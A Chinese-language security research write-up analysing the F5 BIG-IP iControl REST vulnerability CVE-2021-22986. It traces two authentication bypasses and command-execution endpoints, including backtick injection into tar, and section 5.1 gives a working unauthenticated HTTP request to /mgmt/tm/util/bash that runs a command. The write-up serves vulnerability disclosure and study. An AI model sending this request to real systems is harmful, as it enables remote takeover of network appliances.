作者:Lucifaer@360CERT
0x01 漏洞概述
F5 BIG-IP在今年3月补丁日中修复了 CVE-2021-22986 ,未经身份验证的攻击者可以向 iControl REST 发送精心构造的恶意请求,最终在目标服务器上执行任意命令。
0x02 环境配置
F5 BIG-IP官方 提供了对应版本的 Virtual Edition 版本,所以直接下载导入到 vmware 中即可。本篇所使用的漏洞版本为16.0.1,diff版本为16.0.1.1。具体的步骤及操作可以参考这篇文章进行基础配置,完成F5 BIG-IP的启动。
2.1 允许ssh远连
可以根据这篇文章配置允许ssh远连,这里推荐直接用 tmsh 来进行配置。
2.2 寻找具体服务
在F5 BIG-IP中, TMUI 与 iControl REST 是部署在不同的端口上的。我们可以看一下我们访问的443端口的服务是什么:
可以看到是由Apache httpd进行请求承接,并将请求转发到不同端口的服务上完成对应的处理。我们可以看一下httpd的配置文件,在 /config/httpd/conf/httpd.conf :
这里可以注意到两点:
- AuthPAM开启,说明调用了httpd的某个
.so文件进行预先的认证 - 将所有向
/mgmt发送的请求都转发到了http://localhost:8100/mgmt/
通过阅读官方文档,我们可以知道所有REST API的目录前缀都是含有 mgmt 的,所以可以看一下8100端口的服务及其进程信息是什么:
可以看到其 classpath 为 /usr/share/java/rest/ 目录。之后我们可以通过 PID 在 /proc/ 目录下查看进程信息:
这样也知道了进程运行目录为 /var/service/restjavad 。
2.3 允许远程调试
根据2.2中找到的进程信息,我们直接到 /var/service/restjavad 目录,然后向运行文件中添加相关的jdwp配置:
这里看到运行文件为 /etc/bigstart/scripts/restjavad ,直接修改该文件即可:
当添加完jdwp配置后,还需要利用 tmsh 将jdwp监听端口8777开放出去,这里可以直接参考这篇文章。这里为了防止链接失效,截一个这篇文章的关键图:
2.4 导出分析代码
在2.2中已经进行了详细的叙述,直接把 /usr/share/java/rest/ 下的代码导出就行了。如果遇到无法导出的问题,可能是由于 /usr 目录无写权限,重新挂载一下 /usr 即可:
mount -o remount w /usr
0x03 diff信息
3.1 ssrf
3.2 命令执行
0x04 漏洞分析
该漏洞可以分解为两部分:
- 认证绕过
- 命令执行端点
该漏洞有两种方式可以达成认证绕过:
- 认证不完全导致绕过
- ssrf获取token导致认证绕过
本文将使用动静态跟踪结合的方式,将两部分进行串流分析。
4.1 iControl REST处理逻辑
在开始分析认证绕过前,首先来分析一下程序执行流。
4.1.1 RestServerServlet
RestServerServlet 是整个 iControle REST 的入口,首先看一下其 service 方法:
从 service 方法中,可以获得以下几个信息:
-
RestServerServlet以异步执行,并注册了一个ReadListener - 在处理请求时,为每一个请求创建了一个
RestOperation - 因为向
RestOperation注册了一个RestRequestCompletion,后续逻辑将以回调的方式执行
由于是注册了 ReadListener ,所以我们直接跟进看 com.f5.rest.app.RestServerServlet.ReadListenerImpl#onAllDataRead (具体原因可以看ReadListener官方文档):
跟进看一下 com.f5.rest.common.RestOperationIdentifier#setIdentityFromAuthenticationData :
这里会监测请求中是否包含相关认证,并将其设置到 RestOperation 中。注意这里涉及到两种身份设置方法,第一种是检测是否存在 X-F5-Auth-Token ,第二种是通过Basic认证来设置身份。其中 setIdentityFromBasicAuth 即为diff点:
在 setIdentityData 中只会判断Basic头信息中是否存在 username ,当存在时,将 userReference 初始化为 /mgmt/shared/authz/users/[username] 。
在完成设置后,便会执行 completion.run() 方法,即:
关键逻辑为 com.f5.rest.common.RestServer#trySendInProcess :
其中会根据请求端口来寻找相关的 RestWorker ,并执行 OnRequest 方法。这里因为是 8100 端口,其映射为 RestServer 对象:
在 findWorker() 方法中,将以请求的路径为查询条件,匹配 RestServer 的 pathToWarkerMap 。之后便会执行 worker.onRequest() 方法,在这里会将worker添加到 RestServer.readyWorkerSet 中。后面会以该 Set 为消费者队列,并执行各个worker。
4.1.2 RestServer
RestServer 中主要工作是维护队列,并执行相关的worker。入口点为其构造方法:
这里明显为一个消费者,所以直接看 callRestMethodHandler 即可,一路向下跟进到 callDerivedRestMethod 方法:
这里即会调用对应worker的处理方法并完成对应的链调用。
4.2 认证绕过
该漏洞的重点是认证绕过这一部分,两种绕过方式采用了不同的思路,本篇主要分析第二种绕过方式,针对第一种方式只进行基础的分析,如果想要了解详情,可以阅读斗象的研究文章。
4.2.1 认证不完全导致绕过
BIG-IP由两部分组成,首先是通过 Apache httpd 接收443的请求,并将请求转发给本地8100端口的Jetty服务,最终通过Jetty的servlet将不同的路由分发到不同的worker中,完成请求的处理。
而第一种利用方式正是利用了Jetty服务不会对通过httpd认证的请求进行二次认证的缺陷,导致了未认证的攻击者可以绕过认证访问任意worker,最终完成pre auth rce。
在2.2中,从 httpd.conf 中已经看到 httpd 在进行转发时启用了 AuthPAM ,其具体的 .so 文件为 /usr/lib/httpd/modules/mod_auth_pam.so 。
用IDA分析一下逻辑:
httpd只查看请求中是否存在 X-F5-Auth-Token ,若存在,则直接将请求转发到Jetty进行后续处理。
在Jetty这端,首先会判断 X-F5-Auth-Token 是否为空,当设置为空时,对访问路径进行校验,但是这里不匹配任何一种情况。最终进入到else中。这里只会判断 userReference 是否为空,以及 userReference 是否为 admin的userReference 。
回看 userReference 的生成过程(在 com.f5.rest.common.RestOperationIdentifier#setIdentityFromBasicAuth):
可以发现这里的 userReference 就是默认admin的 userReference :
从而导致了绕过。
4.2.2 ssrf获取token导致认证绕过
在diff中可以明显的看到在 com.f5.rest.workers.authn.AuthnWorker#onPost 方法中增加了对 loginReference.link 的校验。在跟踪了代码逻辑后,可以发现这里存在一处ssrf。
可控输入点为:
向下看ssrf点:
这里 state.loginReference.link 是可控的。首先会new一个 RestRequestCompletion ,并将其封装到 RestOperation 中,最后向 state.loginReference 发起请求。注意到在 RestRequestCompletion 中存在 completed() 方法,其中会调用 AuthnWorker.generateToken() 方法生成一个token,跟进可以看到:
这里又新创建了一个 RestOperation ,其中的 completed 方法完成了token的映射及返回。具体的token生成在 com.f5.rest.workers.AuthTokenWorker#generatePrimaryKey 中:
调用栈为:
如果想要静态跟踪到token生成点的话,直接跟进 RestRequestSender.sendPost() 方法即可。
4.2.3 ssrf获取token总结
根据4.1中对处理逻辑的分析,想要找到获取token的点的话,只需要在所有的 RestWorker 子类中寻找符合以下两个条件的子类即可:
- 存在
onPost方法可以处理POST请求 -
onPost方法中可以控制执行流到RestOperation.complete()方法
由于F5采用了回调的方式完成执行流的构建,最终都会通过回调的逻辑执行 RestRequestCompletion.completed() 方法。
4.3 命令执行端点
命令执行端点主要是配合认证绕过最终达成远程pre auth rce的效果。
4.3.1 /mgmt/tm/util/bash
从[F5 BIG IP官方sdk][7]中找到 /mgmt/tm/util/bash 可以直接执行命令:
4.3.2 /mgmt/tm/access/bundle-install-tasks
从diff中可以看到 /mgmt/tm/access/bundle-install-tasks 直接将可控参数与 tar -xf 拼接,直接执行命令。可以通过反引号直接执行命令。
0x05 漏洞利用
5.1 认证不完全导致绕过
第一种方法,可以直接构造如下的包,便可以直接执行命令:
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.59.7
Content-Type: application/json
X-F5-Auth-Token:
Authorization: Basic YWRtaW46
Content-Length: 52
{
"command": "run",
"utilCmdArgs": "-c id"
}
5.2 ssrf获取token
参考4.2.3的总结,寻找相应获取token的端点,然后配合 X-F5-Auth-Token 头向命令执行端点发送请求即可。
0x06 Reference
Deploying BIG-IP Virtual Edition in ESXi












































发表评论
您还未登录,请先登录。
登录